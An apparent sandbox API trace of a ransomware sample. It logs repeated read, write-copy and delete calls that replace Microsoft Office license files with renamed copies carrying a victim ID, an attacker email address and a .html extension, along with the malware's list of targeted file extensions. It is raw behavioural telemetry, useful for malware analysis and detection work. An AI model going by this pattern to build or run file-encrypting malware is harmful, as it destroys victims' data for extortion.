	[0199.869] WriteFile (in: hFile=0x580, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0199.869] SetEndOfFile (hFile=0x580) returned 1
	[0199.870] CloseHandle (hObject=0x580) returned 1
	[0199.870] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.870] SetEndOfFile (hFile=0x5bc) returned 1
	[0199.873] CloseHandle (hObject=0x5bc) returned 1
	[0199.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms")) returned 1
	[0199.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0199.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0199.875] lstrlenW (lpString=".doc") returned 4
	[0199.875] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.875] lstrlenW (lpString=".docx") returned 5
	[0199.875] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.875] lstrlenW (lpString=".pdf") returned 4
	[0199.875] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.875] lstrlenW (lpString=".xls") returned 4
	[0199.875] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.875] lstrlenW (lpString=".xlsx") returned 5
	[0199.875] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.875] lstrlenW (lpString=".ppt") returned 4
	[0199.875] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0199.875] lstrlenW (lpString=".zip") returned 4
	[0199.875] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.875] lstrlenW (lpString=".rar") returned 4
	[0199.875] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.875] lstrlenW (lpString=".bz2") returned 4
	[0199.875] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.875] lstrlenW (lpString=".7z") returned 3
	[0199.875] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0199.875] lstrlenW (lpString=".dbf") returned 4
	[0199.876] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0199.876] lstrlenW (lpString=".1cd") returned 4
	[0199.876] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0199.876] lstrlenW (lpString=".jpg") returned 4
	[0199.876] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0199.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0199.876] lstrlenW (lpString=".doc") returned 4
	[0199.876] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.876] lstrlenW (lpString=".docx") returned 5
	[0199.876] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.876] lstrlenW (lpString=".pdf") returned 4
	[0199.876] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.876] lstrlenW (lpString=".xls") returned 4
	[0199.876] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.876] lstrlenW (lpString=".xlsx") returned 5
	[0199.876] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.876] lstrlenW (lpString=".ppt") returned 4
	[0199.876] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0199.876] lstrlenW (lpString=".zip") returned 4
	[0199.876] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.876] lstrlenW (lpString=".rar") returned 4
	[0199.876] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.876] lstrlenW (lpString=".bz2") returned 4
	[0199.876] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.876] lstrlenW (lpString=".7z") returned 3
	[0199.877] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0199.877] lstrlenW (lpString=".dbf") returned 4
	[0199.877] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0199.877] lstrlenW (lpString=".1cd") returned 4
	[0199.877] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0199.877] lstrlenW (lpString=".jpg") returned 4
	[0199.877] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.877] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0199.877] lstrlenW (lpString="O365BusinessR_SubTest-ul-oob.xrm-ms") returned 35
	[0199.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0199.878] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11626) returned 1
	[0199.878] CloseHandle (hObject=0x5bc) returned 1
	[0199.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms")) returned 0x220
	[0199.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0199.879] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.879] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0199.880] GetLastError () returned 0x0
	[0199.880] ReadFile (in: hFile=0x5bc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2d6a, lpOverlapped=0x0) returned 1
	[0199.882] WriteFile (in: hFile=0x580, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0199.884] ReadFile (in: hFile=0x5bc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.885] WriteFile (in: hFile=0x580, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0199.885] SetEndOfFile (hFile=0x580) returned 1
	[0199.885] CloseHandle (hObject=0x580) returned 1
	[0199.885] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.885] SetEndOfFile (hFile=0x5bc) returned 1
	[0199.887] CloseHandle (hObject=0x5bc) returned 1
	[0199.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0199.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms")) returned 1
	[0199.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0199.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0199.889] lstrlenW (lpString=".doc") returned 4
	[0199.889] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.889] lstrlenW (lpString=".docx") returned 5
	[0199.889] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.889] lstrlenW (lpString=".pdf") returned 4
	[0199.889] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.889] lstrlenW (lpString=".xls") returned 4
	[0199.889] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.889] lstrlenW (lpString=".xlsx") returned 5
	[0199.889] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.889] lstrlenW (lpString=".ppt") returned 4
	[0199.889] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0199.890] lstrlenW (lpString=".zip") returned 4
	[0199.890] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.890] lstrlenW (lpString=".rar") returned 4
	[0199.890] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.890] lstrlenW (lpString=".bz2") returned 4
	[0199.890] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.890] lstrlenW (lpString=".7z") returned 3
	[0199.890] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0199.890] lstrlenW (lpString=".dbf") returned 4
	[0199.890] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0199.890] lstrlenW (lpString=".1cd") returned 4
	[0199.890] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0199.890] lstrlenW (lpString=".jpg") returned 4
	[0199.890] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0199.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0199.890] lstrlenW (lpString=".doc") returned 4
	[0199.890] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0199.890] lstrlenW (lpString=".docx") returned 5
	[0199.890] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0199.890] lstrlenW (lpString=".pdf") returned 4
	[0199.890] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0199.890] lstrlenW (lpString=".xls") returned 4
	[0199.890] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0199.890] lstrlenW (lpString=".xlsx") returned 5
	[0199.891] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0199.891] lstrlenW (lpString=".ppt") returned 4
	[0199.891] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0199.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0199.891] lstrlenW (lpString=".zip") returned 4
	[0199.891] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.891] lstrlenW (lpString=".rar") returned 4
	[0199.891] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.891] lstrlenW (lpString=".bz2") returned 4
	[0199.891] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.891] lstrlenW (lpString=".7z") returned 3
	[0199.891] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0199.891] lstrlenW (lpString=".dbf") returned 4
	[0199.891] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0199.891] lstrlenW (lpString=".1cd") returned 4
	[0199.891] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85
	[0199.891] lstrlenW (lpString=".jpg") returned 4
	[0199.891] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.891] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0199.891] lstrlenW (lpString="O365BusinessR_SubTrial-pl.xrm-ms") returned 32
	[0199.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0199.892] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11179) returned 1
	[0199.892] CloseHandle (hObject=0x5bc) returned 1
	[0199.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms")) returned 0x220
	[0199.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0199.893] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.893] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0199.894] GetLastError () returned 0x0
	[0199.894] ReadFile (in: hFile=0x5bc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0199.896] WriteFile (in: hFile=0x580, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0199.897] ReadFile (in: hFile=0x5bc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0199.897] WriteFile (in: hFile=0x580, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x114, lpOverlapped=0x0) returned 1
	[0199.897] SetEndOfFile (hFile=0x580) returned 1
	[0199.897] CloseHandle (hObject=0x580) returned 1
	[0199.897] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.897] SetEndOfFile (hFile=0x5bc) returned 1
	[0200.222] CloseHandle (hObject=0x5bc) returned 1
	[0200.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.222] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-pl.xrm-ms")) returned 1
	[0200.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0200.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0200.223] lstrlenW (lpString=".doc") returned 4
	[0200.223] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.223] lstrlenW (lpString=".docx") returned 5
	[0200.223] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.224] lstrlenW (lpString=".pdf") returned 4
	[0200.224] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.224] lstrlenW (lpString=".xls") returned 4
	[0200.224] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.224] lstrlenW (lpString=".xlsx") returned 5
	[0200.224] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.224] lstrlenW (lpString=".ppt") returned 4
	[0200.224] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0200.224] lstrlenW (lpString=".zip") returned 4
	[0200.224] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.224] lstrlenW (lpString=".rar") returned 4
	[0200.224] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.224] lstrlenW (lpString=".bz2") returned 4
	[0200.224] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.224] lstrlenW (lpString=".7z") returned 3
	[0200.224] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0200.224] lstrlenW (lpString=".dbf") returned 4
	[0200.224] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0200.224] lstrlenW (lpString=".1cd") returned 4
	[0200.224] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0200.224] lstrlenW (lpString=".jpg") returned 4
	[0200.224] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0200.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0200.224] lstrlenW (lpString=".doc") returned 4
	[0200.224] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.224] lstrlenW (lpString=".docx") returned 5
	[0200.225] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.225] lstrlenW (lpString=".pdf") returned 4
	[0200.225] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.225] lstrlenW (lpString=".xls") returned 4
	[0200.225] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.225] lstrlenW (lpString=".xlsx") returned 5
	[0200.225] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.225] lstrlenW (lpString=".ppt") returned 4
	[0200.225] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0200.225] lstrlenW (lpString=".zip") returned 4
	[0200.225] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.225] lstrlenW (lpString=".rar") returned 4
	[0200.225] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.225] lstrlenW (lpString=".bz2") returned 4
	[0200.225] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.225] lstrlenW (lpString=".7z") returned 3
	[0200.225] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0200.225] lstrlenW (lpString=".dbf") returned 4
	[0200.225] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0200.225] lstrlenW (lpString=".1cd") returned 4
	[0200.225] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-pl.xrm-ms") returned 82
	[0200.225] lstrlenW (lpString=".jpg") returned 4
	[0200.225] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.226] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.226] lstrlenW (lpString="O365HomePremR_Subscription3-pl.xrm-ms") returned 37
	[0200.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0200.227] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11199) returned 1
	[0200.227] CloseHandle (hObject=0x5bc) returned 1
	[0200.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms")) returned 0x220
	[0200.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0200.228] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.228] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
